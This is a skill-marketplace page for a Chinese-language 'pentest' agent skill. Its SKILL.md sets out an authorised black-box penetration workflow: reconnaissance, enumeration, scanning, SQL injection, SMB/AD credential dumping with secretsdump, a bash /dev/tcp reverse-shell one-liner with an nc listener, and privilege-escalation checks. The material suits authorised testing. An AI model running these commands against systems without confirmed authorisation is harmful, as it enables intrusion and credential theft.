lielingai/zhishi/pentest

Claude Code and agent skill by lielingai/zhishi

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

渗透研究环境——对目标资产的黑盒进攻环境。任务涉及对靶场/授权目标的侦察、枚举、漏洞确认、利用、拿 shell 时使用。内置 nmap/masscan(侦察)、subfinder(子域被动采集)、httpx(活资产收敛)、ffuf/gobuster + SecLists(Web 枚举)、arjun(隐藏参数发现)、nuclei(漏洞模板扫描)、sqlmap(SQLi)、hydra(口令)、nxc/enum4linux-ng/impacket(SMB/AD)、katana + retire(JS 分析,jsluice 不预装按需自装)、kr/clairvoyance/graphql-cop(API 分析)、ZAP(zap.sh headless)、Playwright chromium(环境内浏览器)、nc/socat(shell 与转发)。nikto 已装但降为可选。metasploit 不预装(环境内自装,见下)。

Install

npx vskill@latest install lielingai/zhishi/pentest

SKILL.md

pentest —— 渗透研究环境

何时用

对授权靶场/目标的黑盒渗透:侦察、枚举、漏洞确认、利用、拿 shell。 纪律红线:只打授权目标——靶场 VM、合同授权资产(实战定位,CTF 不是产品语境)。目标地址人确认过才进场。

怎么进

zhishi env up pentest
zhishi env open <id> # 或 docker exec -it <container> bash

工作台约定(1.8.1)

每个目标一个工作目录,产物分桶落盘——跨会话可续、子代理可读:

/workspace/<target>/
intel/ # 被动情报原始产出(子域清单/证书/泄露语料/邮箱模式)
recon/ # 分诊后资产(归属确认+置信度标签+隔离区清单)
enum/ # 枚举产出(httpx 活资产/端口/URL 分类/参数清单)
findings/ # 深析结论(成立/不成立/存疑 + 证据文件路径)
exploit/ # 利用脚本与入口证据

黑盒六步工作流(1.8.1)

打点按序推进,每步产物落对应目录;分诊与深析可委派子代理(recon-triager / foothold-analyst)不污染主上下文。

bash
# ① 被动情报:子域采集与活资产收敛(被动优先,不碰目标)
subfinder -d <target> -silent -timeout 30 > intel/subfinder.txt
curl -fsS "https://crt.sh/?q=%25.<target>&output=json" | jq -r '.[].name_value' | sed 's/\*\.//' | sort -u > intel/crtsh.txt
cat intel/*.txt | sort -u > intel/all_subs.txt
dig RANDOMSTRING123.<target> +short # 通配符检查:解析了则全部存活结果存疑
httpx -silent -l intel/all_subs.txt -threads 50 -rate-limit 2 -status-code -tech-detect -title -o enum/alive.txt
# ② 归属分诊 + 假阳性过滤(软404对照/置信度三级/隔离区)→ recon/
# ③ 攻击面建模:URL 分类 + 参数发现
arjun -i enum/backend_urls.txt -o enum/arjun_params.json
katana -u http://<target> -o enum/urls.txt
# ④ 逐点深析:漏洞确认(过入口四问门)→ findings/
# ⑤ 入口利用链 → exploit/
# ⑥ 持久化 + 痕迹登记 + 死路记录 → research_log

标准工作流

bash
# ① 侦察:全端口 + 服务指纹(长扫描走 env_bg,别堵一次性命令)
nmap -sV -sC -p- <target> -oN recon/nmap-full.txt
# ② web 枚举:目录/子域/参数(SecLists 已内置 Discovery/Web-Content 子集)
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/common.txt
# ③ 漏洞模板扫描 + JS/端面分析
nuclei -u http://<target> -severity medium,high,critical
katana -u http://<target> -o urls.txt # 爬虫拿端点
katana -u http://<target> -jc | jsluice stdin # JS 里的 URL/secret(jsluice 未装时见下降级路径)
retire --path /tmp/js/ # JS 库已知漏洞
# ④ API 分析
kr scan http://<target>/api -w routes-small.kite # kiterunner:API 路由爆破
clairvoyance -o schema.json http://<target>/graphql # GraphQL introspection 绕过
graphql-cop -t http://<target>/graphql # GraphQL 常见误配
# ⑤ SMB/AD 枚举
nxc smb <target> -u '' -p '' --shares
enum4linux-ng -A <target>
secretsdump.py domain/user@<target> # impacket 套件之一
# ⑥ SQLi 探测与利用
sqlmap -u "http://<target>/param?id=1" --batch --level=2
# ⑦ 动态页面/需要 JS 渲染的验证(环境内 chromium headless-shell)
python3 - <<'EOF'
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
b = p.chromium.launch()
print(b.new_page().goto("http://<target>").title())
b.close()
EOF
# ⑧ 拿 shell:反向连接回本环境
# 本环境: nc -lvnp 4444 (env_bg 后台监听)
# 目标: bash -i >& /dev/tcp/<本环境IP>/4444 0>&1
# ⑨ 提权信息收集
sudo -l; find / -perm -4000 2>/dev/null; cat /etc/crontab

降级路径(工具缺失时)

  • ZAP headless 批量扫:zap.sh -cmd -quickurl http://<target> -quickout /workspace/zap.html(首次启动慢,长任务走 env_bg)
  • nikto 已装但降为可选:老扫描器噪声大,优先 nuclei;要用直接 nikto -h <target>
  • metasploit:太重,优先手工 exp;真要时环境内自装(注意体积)
  • jsluice 不预装(1.5.7:无官方 release 二进制):需要时环境内自装

go install github.com/BishopFox/jsluice/cmd/jsluice@latest(需先装 Go); 不想装 Go 时用 katana -jc 的 JSON 输出 + rg/jq 手工捞 URL/secret 顶替

  • wordlist 更多子集:/usr/share/seclists 只有 Discovery/Web-Content,需要其他子集现场 sparse 补拉
  • 环境没有 → zhishi env up pentest(人建环境,D17)

收尾

  • 每个确认环节落 research_log(kind=pentest):
  • 成功:拿 shell / 确认漏洞(bug_class + 目标 + 利用方式)
  • 死路:哪个服务版本查过无洞、哪个参数不是注入点——死路清单
  • 长扫描结束记得 kill(env_bg),别留监听器

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
92
Repository forks
5
7-day trend score
0

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/lielingai/zhishi/pentest/badge)](https://verified-skill.com/skills/lielingai/zhishi/pentest)

Something wrong with this skill or its page? Tell us.